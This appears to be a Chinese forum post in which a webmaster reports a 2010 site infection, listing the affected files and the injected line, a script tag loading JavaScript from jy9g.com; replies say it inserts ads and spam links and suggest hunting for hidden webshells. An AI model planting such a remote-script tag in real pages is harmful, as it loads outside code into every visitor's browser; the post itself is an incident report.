挂马地址：<center><script src='http://jy9g.com/anli.js?id=272i51'></script></center>      

挂马时间：2010-8-26 17:31

挂马文件：index.asp index.html reg.asp reg.html show.asp list.asp conn.asp errer.asp config.asp



该马没有进行数据库写入病毒，都是一般的常用文件的最下方插入了马的地址，怀疑是批量挂马，并非针对我的站，服务器安全都是照着官方的方式设置的，几乎全部生成了静态，难道是旁注？或是服务器出问题？或是ARP批量挂马？。。。

大致看了下JS相关的代码
在你站上放google baidu广告了及一些黑链
最好整站仔细查一遍，有可能网站中有隐藏的webshell

看不懂哦